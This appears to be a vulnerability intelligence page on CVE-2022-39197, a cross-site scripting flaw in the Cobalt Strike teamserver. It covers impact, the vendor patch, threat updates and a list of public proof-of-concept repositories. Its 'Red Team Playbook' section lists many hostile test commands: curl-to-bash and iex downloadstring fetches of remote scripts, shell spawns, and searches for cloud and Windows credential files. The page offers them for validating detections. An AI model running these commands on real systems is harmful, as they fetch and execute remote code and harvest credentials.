CVE-2022-39197
Overview
This vulnerability is a Cross Site Scripting (XSS) flaw rooted in improper sanitization of user-controllable input within the username field of Cobalt Strike payloads. The affected component is the HelpSystems Cobalt Strike teamserver up to version 4.7, where the application fails to correctly validate or encode HTML content in the username parameter, allowing injection of malicious script code.
Vulnerability Description
An XSS (Cross Site Scripting) vulnerability was found in HelpSystems Cobalt Strike through 4.7 that allowed a remote attacker to execute HTML on the Cobalt Strike teamserver. To exploit the vulnerability, one must first inspect a Cobalt Strike payload, and then modify the username field in the payload (or create a new payload with the extracted information and then modify that username field to be malformed).
Impact
An unauthenticated remote attacker can execute arbitrary HTML or script code within the context of the Cobalt Strike teamserver web interface by exploiting this XSS flaw. This can lead to theft of session tokens, manipulation of the user interface, or execution of further attacks via the victim’s browser. The prerequisite is the ability to submit or modify a Cobalt Strike payload to include the malicious username field. This compromises the confidentiality and integrity of the teamserver environment and may facilitate further exploitation or lateral movement within a compromised network.
Solution
HelpSystems released an out-of-band update addressing this issue in Cobalt Strike version 4.7.1. Users should upgrade to version 4.7.1 or later as detailed in the vendor’s advisory at https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/. This update includes proper input validation and encoding to mitigate the XSS vulnerability. Administrators are advised to follow the vendor’s patch instructions precisely to ensure complete remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The identified vulnerability in HelpSystems Cobalt Strike is a Cross Site Scripting (XSS) flaw that allows an attacker to execute arbitrary HTML and JavaScript code on the Cobalt Strike teamserver. This vulnerability arises from improper handling of user input, specifically in the username field of the payload. When a user inspects a payload, they can manipulate the username field to include malicious scripts. This manipulation can occur either by modifying an existing payload or by creating a new one that incorporates the malformed username. The exploitation of this vulnerability hinges on the attacker’s ability to craft a payload that the server will process without adequate sanitization, thereby executing the injected scripts in the context of the server.
Attack vectors for this vulnerability are particularly concerning due to the nature of Cobalt Strike, which is widely used for penetration testing and red teaming. An attacker could leverage this XSS vulnerability by first gaining access to a legitimate Cobalt Strike payload. Once they have the payload, they can alter the username field to include their malicious script. When this payload is executed on the teamserver, the script runs with the privileges of the server, potentially allowing the attacker to steal sensitive information, manipulate server behavior, or perform actions on behalf of legitimate users. This scenario underscores the importance of securing payloads and ensuring that user inputs are properly validated and sanitized.
The real-world impact of this vulnerability can be significant, particularly for organizations that utilize Cobalt Strike for security testing. If exploited, an attacker could gain unauthorized access to sensitive data or disrupt operations by executing malicious commands. The business risks associated with such an attack include reputational damage, loss of customer trust, and potential legal ramifications due to data breaches. Moreover, the exploitation of this vulnerability could lead to a broader compromise of the organization's infrastructure, as Cobalt Strike is often integrated with other security tools and systems. The potential for lateral movement within a network increases the severity of the risk, making it imperative for organizations to address this vulnerability promptly.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and code reviews can help identify improper input handling and other vulnerabilities within the application. Additionally, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious input before it reaches the server. It is also crucial to ensure that all user inputs, particularly those that are reflected back to the user, are properly sanitized and encoded to prevent the execution of malicious scripts. Organizations should also stay informed about updates and patches from HelpSystems, as timely application of security updates can significantly reduce the risk of exploitation.
In conclusion, the XSS vulnerability in HelpSystems Cobalt Strike presents a notable risk to organizations that rely on this tool for security operations. The potential for exploitation through manipulated payloads highlights the necessity for robust input validation and security practices. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare their defenses and mitigate the associated risks. Continuous monitoring, regular updates, and proactive security measures are essential to safeguarding against such vulnerabilities and ensuring the integrity of security operations.
CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2022-39197, with a notable surge in exploit development and deployment. Our telemetry indicates that this vulnerability has transitioned from theoretical concern to active exploitation, as evidenced by the emergence of multiple public proof-of-concept exploits hosted on prominent code repositories. Additionally, the inclusion of this vulnerability in the CISA KEV catalog underscores its growing operational relevance and prioritization by federal cybersecurity authorities. The EPSS score’s significant rise further corroborates increasing attacker interest and potential for widespread exploitation. This shift elevates the threat level from low to medium, reflecting an enhanced risk posture for organizations utilizing Fortra Cobalt Strike versions up to 4.7. The availability of exploit code lowers the barrier for adversaries, potentially expanding the attacker base beyond advanced threat actors. Consequently, defenders should recognize that this vulnerability now represents a tangible and escalating threat vector within the security operations ecosystem.
Update 2 — August 01, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2022-39197, with telemetry indicating a notable surge in attempts to leverage this XSS vulnerability against Fortra Cobalt Strike teamservers. This uptick coincides with the emergence of multiple new proof-of-concept exploits publicly available on code-sharing platforms, lowering the technical barrier for exploitation. Although the EPSS score remains stable, the increased detection frequency signals growing adversary interest and experimentation in operational environments. This development is significant because it suggests a shift from theoretical risk to active exploitation attempts, increasing the likelihood of successful intrusions targeting organizations using vulnerable Cobalt Strike versions. Consequently, the threat level should be reassessed upward to reflect a medium-to-high risk posture, emphasizing the need for heightened vigilance within security operations.
Update 3 — August 18, 2026
CSURFACE threat intelligence has identified a modest but meaningful uptick in exploitation attempts targeting CVE-2022-39197, reflected by a discernible increase in telemetry detections. This trend indicates that adversaries are progressively experimenting with the vulnerability in operational settings, moving beyond theoretical exploration. Concurrently, the emergence of additional proof-of-concept exploits and patches on public repositories suggests growing community and attacker engagement, which may lower the technical barriers for exploitation. Although the EPSS score remains stable, the qualitative rise in observed activity underscores an elevated risk of compromise for organizations running vulnerable versions of Fortra Cobalt Strike. This development warrants a recalibration of the threat level to a medium-high posture, as the vulnerability is increasingly weaponized in the wild, heightening the potential for successful remote code execution and lateral movement within targeted networks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Helpsystems | Cobalt Strike | All |
cpe:2.3:a:helpsystems:cobalt_strike:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (15)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
its-arun/CVE-2022-39197
CobaltStrike <= 4.7.1 RCE
|
its-arun | 387 | 74 | 2022-10-14 | View |
|
burpheart/CVE-2022-39197-patch
CVE-2022-39197 漏洞补丁. CVE-2022-39197 Vulnerability Patch.
|
burpheart | 317 | 41 | 2022-09-26 | View |
|
burpheart/cve-2022-39197
cve-2022-39197 poc
|
burpheart | 73 | 13 | 2022-09-22 | View |
|
xzajyjs/CVE-2022-39197-POC
CVE-2022-39197(CobaltStrike XSS <=4.7) POC
|
xzajyjs | 46 | 13 | 2022-09-23 | View |
|
xiao-zhu-zhu/pig_CS4.4
Cobalt Strike 4.4 猪猪版 去暗桩 去流量特征 beacon仿造真实API服务 修补CVE-2022-39197补丁
|
xiao-zhu-zhu | 37 | 1 | 2023-04-28 | View |
|
yqcs/CSPOC
Cobalt Strike RCE CVE-2022-39197
|
yqcs | 17 | 8 | 2022-09-24 | View |
|
lovechoudoufu/about_cobaltstrike4.5_cdf
cobaltstrike4.5版本破解、去除checksum8特征、bypass BeaconEye、修复错误路径泄漏stage、增加totp双因子验证、修复CVE-2022-39197等
|
lovechoudoufu | 18 | 1 | 2022-09-26 | View |
|
TheCryingGame/CVE-2022-39197-RCE
CVE-2022-39197 RCE POC
|
TheCryingGame | 13 | 4 | 2022-10-22 | View |
|
hluwa/cobaltstrike_swing_xss2rce
CVE-2022-39197
|
hluwa | 7 | 5 | 2022-09-27 | View |
|
4nth0ny1130/CVE-2022-39197-fix_patch
CVE-2022-39197 bug fix patch
|
4nth0ny1130 | 7 | 2 | 2022-10-09 | View |
|
safe3s/CVE-2022-39197
CVE-2022-39197
|
safe3s | 3 | 0 | 2022-09-21 | View |
|
adeljck/CVE-2022-39197
CVE-2022-39197
|
adeljck | 2 | 0 | 2022-11-24 | View |
|
Romanc9/Gui-poc-test
A testing tool for CobaltStrike-RCE:CVE-2022-39197; Weblogic-RCE:CVE-2023-21839; MinIO:CVE-2023-28432
|
Romanc9 | 2 | 0 | 2023-12-03 | View |
|
purple-WL/Cobaltstrike-RCE-CVE-2022-39197
|
purple-WL | 1 | 0 | 2022-09-24 | View |
|
zeoday/cobaltstrike4.5_cdf-1
cobaltstrike4.5版本破/解、去除checksum8特征、bypass BeaconEye、修复错误路径泄漏stage、增加totp双因子验证、修复CVE-2022-39197等
|
zeoday | 0 | 1 | 2022-09-22 | View |
Threat Feed
8 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-39197 |
| cobaltstrike.com |
GitHub CVE
x_refsource_MISC
|
https://www.cobaltstrike.com/blog/tag/release/ |
| cobaltstrike.com |
GitHub CVE
x_refsource_MISC
|
https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-39197 |